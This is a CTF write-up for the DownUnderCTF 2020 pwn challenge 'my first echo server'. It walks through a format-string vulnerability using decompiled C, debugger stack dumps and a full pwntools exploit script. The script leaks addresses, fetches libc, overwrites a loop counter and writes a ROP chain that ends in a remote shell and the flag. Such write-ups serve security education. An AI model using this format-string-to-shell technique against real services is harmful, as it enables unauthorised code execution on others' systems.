# DownUnderCTF

## my first echo server

> 416  
>  
> Author: k0wa1ski#6150 and Faith#2563  
>  
> Hello there! I learnt C last week and already made my own SaaS product,
> check it out! I even made sure not to use compiler flags like --please-make-
> me-extremely-insecure, so everything should be swell.  
>  
> `nc chal.duc.tf 30001`  
>  
> Hint - The challenge server is running Ubuntu 18.04.  
>  
> Attached files: [echos](echos) (sha256:
> 2311c57a6436e56814e1fe82bdd728f90e5832fda8abc71375ef3ef8d9d239ca)

Tags: _pwn_ _x86-64_ _remote-shell_ _rop_ _format-string_

## Summary

Basic format-string leak and exploit.

## Analysis

### Checksec

```  
Arch: amd64-64-little  
RELRO: Full RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: PIE enabled  
```

Mitigations in place. Finally.

### Decompile with Ghidra

```c  
undefined8 main(void)  
{  
long in_FS_OFFSET;  
int local_5c;  
char local_58 [72];  
long local_10;  
  
local_10 = *(long *)(in_FS_OFFSET + 0x28);  
local_5c = 0;  
while (local_5c < 3) {  
fgets(local_58,0x40,stdin);  
printf(local_58);  
local_5c = local_5c + 1;  
}  
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {  
/* WARNING: Subroutine does not return */  
__stack_chk_fail();  
}  
return 0;  
}  
```

`printf(local_58)` is the vulnerability, and looped three times (`local_5c`,
remember this--we'll fix it later).

The attack is fairly simple, use the stack to leak the stack and libc. We will however need to know the version of libc for the exploit I have in mind (to get a hint just: `strings echos | grep GCC`):

```  
GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0  
```

Next, from within a Ubuntu 18.04 container, find the format-string offset and
look at the stack:

```  
gef➤ b *main+73  
Breakpoint 1 at 0x866  
gef➤ run  
Starting program: /pwd/datajerk/downunderctf2020/my_first_echo_server/echos  
%8$p  
0xa70243825  
```

Above, set a break point to get the stack while in `main`, and also try `%n$p`
where `n > 0` until the output (in little endian) hex matches the input. In
this case it's `8`, and that will be the offset.

The stack:

```  
0x00007fffffffe2f0│+0x0000: 0x00007fffffffe310 → 0x0000000000000002 ← $rsp  
0x00007fffffffe2f8│+0x0008: 0x0000000055754d98  
0x00007fffffffe300│+0x0010: 0x0000000a70243825 ("%8$p\n"?)  
0x00007fffffffe308│+0x0018: 0x000055555555481a → <setup+64> nop  
0x00007fffffffe310│+0x0020: 0x0000000000000002  
0x00007fffffffe318│+0x0028: 0x00005555555548dd → <__libc_csu_init+77> add rbx,
0x1  
0x00007fffffffe320│+0x0030: 0x00007ffff7de59f0 → <_dl_fini+0> push rbp  
0x00007fffffffe328│+0x0038: 0x0000000000000000  
0x00007fffffffe330│+0x0040: 0x0000555555554890 → <__libc_csu_init+0> push r15  
0x00007fffffffe338│+0x0048: 0x00005555555546d0 → <_start+0> xor ebp, ebp  
0x00007fffffffe340│+0x0050: 0x00007fffffffe430 → 0x0000000000000001  
0x00007fffffffe348│+0x0058: 0x677c5564ed27b300  
0x00007fffffffe350│+0x0060: 0x0000555555554890 → <__libc_csu_init+0> push r15
← $rbp  
0x00007fffffffe358│+0x0068: 0x00007ffff7a05b97 → <__libc_start_main+231> mov
edi, eax  
```

Starting from the top (offset 6) looking down there are two values that if
leaked will give us the stack address of the return address (offset 6
(`+0x0000`)) and the version and location of libc (offset 19 (`+0x0068`)).

With this in hand it will be easy to write out a ROP chain to call `system` on
exit.

## Exploit

### Setup

```python  
#!/usr/bin/env python3

from pwn import *

binary = context.binary = ELF('./echos')  
context.log_level = 'INFO'

if not args.REMOTE:  
context.log_file = 'local.log'  
libc = binary.libc  
p = process(binary.path)  
else:  
context.log_file = 'remote.log'  
libc_index = 3  
p = remote('chal.duc.tf', 30001)  
```

Boilerplate pwntool, however, `libc_index` is not _boilerplate_. More on this
below.

### Leak

```python  
p.sendline('%6$p,%19$p')  
_ = p.recvline().strip().split(b',')

stack_ret_addr = int(_[0],16) + 72  
log.info('stack_ret_addr: ' + hex(stack_ret_addr))

__libc_start_main_231 = int(_[1],16)  
log.info('__libc_start_main_231: ' + hex(__libc_start_main_231))  
log.info('__libc_start_main: ' + hex(__libc_start_main_231 - 231))  
```

Requesting parameters 6 and 19 provide the necessary bits to compute the
location of the return address and libc (if we know the libc version).

### Find and download libc

```python  
if not 'libc' in locals():  
try:  
import requests  
r = requests.post('https://libc.rip/api/find', json =
{'symbols':{'__libc_start_main':hex(__libc_start_main_231 - 231)[-3:]}})  
libc_url = r.json()[libc_index]['download_url']  
libc_file = libc_url.split('/')[-1:][0]  
if not os.path.exists(libc_file):  
log.info('getting: ' + libc_url)  
r = requests.get(libc_url, allow_redirects=True)  
open(libc_file,'wb').write(r.content)  
except:  
log.critical('get libc yourself!')  
sys.exit(0)  
libc = ELF(libc_file)

libc.address = __libc_start_main_231 - libc.sym.__libc_start_main - 231  
log.info('libc.address: ' + hex(libc.address))  
```

> This is something new I'm experimenting with.

This code will search the libc-database and return an array of matches;
through trial and error the 3rd (see `libc_index = 3` above) is the libc that
works with this challenge.

### Get a shell, get the flag

```python  
offset = 8  
rop = ROP([libc])  
pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]

# unlimited free rides  
payload = fmtstr_payload(offset,{stack_ret_addr-0x5c:0x80000000})  
p.sendline(payload)  
null = payload.find(b'\x00')  
p.recvuntil(payload[null-2:null])

payloads = [pop_rdi +
1,pop_rdi,libc.search(b'/bin/sh').__next__(),libc.sym.system]  
for i in range(len(payloads)):  
payload=fmtstr_payload(offset,{stack_ret_addr+8*i:payloads[i]},write_size='short')  
p.sendline(payload)  
null = payload.find(b'\x00')  
p.recvuntil(payload[null-2:null])

# game over  
payload = fmtstr_payload(offset,{stack_ret_addr-0x5c:0x00000003})  
p.sendline(payload)  
null = payload.find(b'\x00')  
p.recvuntil(payload[null-2:null])  
p.interactive()  
```

This challenge has two constraints we have to deal with. First, `fgets` only
_gets_ 64 (`0x40`) bytes. That is pretty small for a large format string
exploit. Second, `local_5c` once incremented to `3` exits the loop. We burned
the first pass leaking info. Furthermore, each pass can really only write out
one 8-byte format-string payload. With two passes we could use _one gadget_
plus write out a NULL for it's constraint. However I opted for a more portable
solution (I'm sure there will be many _one gadget_ write ups).

The first block, after setting up `pop_rdi`, will change `local_5c` to a very
large negative number (`0x80000000` (-2147483648)). Since the compare is with
an `int` we can leverage an integer overflow vulnerability. Thanks to Ghidra
we know where `local_5c` is as well, just by it's name, i.e. `0x5c` from the
return address in the stack.

Now with unlimited passes we can write out a ROP chain to get `system` from
libc.

The `payloads` array is standard CTF fare. The for loop uses format-string
exploits to write out the payload starting from the return address in the
stack.

To exit the loop we write `3` to `local_5c`.

> The following lines capture all the format-string exploit garbage for pretty
> screen grabs (for write-ups):  
>  
> ```python  
> null = payload.find(b'\x00')  
> p.recvuntil(payload[null-2:null])  
> ```

> NOTE: This code will fail at times due to ASLR. I should check for
> _badchars_ in the payload that may prematurely terminate `fgets`, but it is
> simple to just rerun.

Output:

```bash  
# ./exploit.py REMOTE=1  
[*] '/pwd/datajerk/downunderctf2020/my_first_echo_server/echos'  
Arch: amd64-64-little  
RELRO: Full RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: PIE enabled  
[+] Opening connection to chal.duc.tf on port 30001: Done  
[*] stack_ret_addr: 0x7fffc00c3e88  
[*] __libc_start_main_231: 0x7f4c28d0db97  
[*] __libc_start_main: 0x7f4c28d0dab0  
[*] getting: https://libc.rip/download/libc6_2.27-3ubuntu1_amd64.so  
[*]
'/pwd/datajerk/downunderctf2020/my_first_echo_server/libc6_2.27-3ubuntu1_amd64.so'  
Arch: amd64-64-little  
RELRO: Partial RELRO  
Stack: Canary found  
NX: NX enabled  
PIE: PIE enabled  
[*] libc.address: 0x7f4c28cec000  
[*] Loaded 196 cached gadgets for 'libc6_2.27-3ubuntu1_amd64.so'  
[*] Switching to interactive mode  
$ id  
uid=1000 gid=999 groups=999  
$ ls -l  
total 16  
-rwxr-xr-x 1 65534 65534 8560 Sep 15 13:10 echos  
-rw-r--r-- 1 65534 65534 36 Sep 4 04:31 flag.txt  
$ cat flag.txt  
DUCTF{D@N6340U$_AF_F0RMAT_STTR1NG$}  
```

Original writeup (https://github.com/datajerk/ctf-write-
ups/tree/master/downunderctf2020/my_first_echo_server).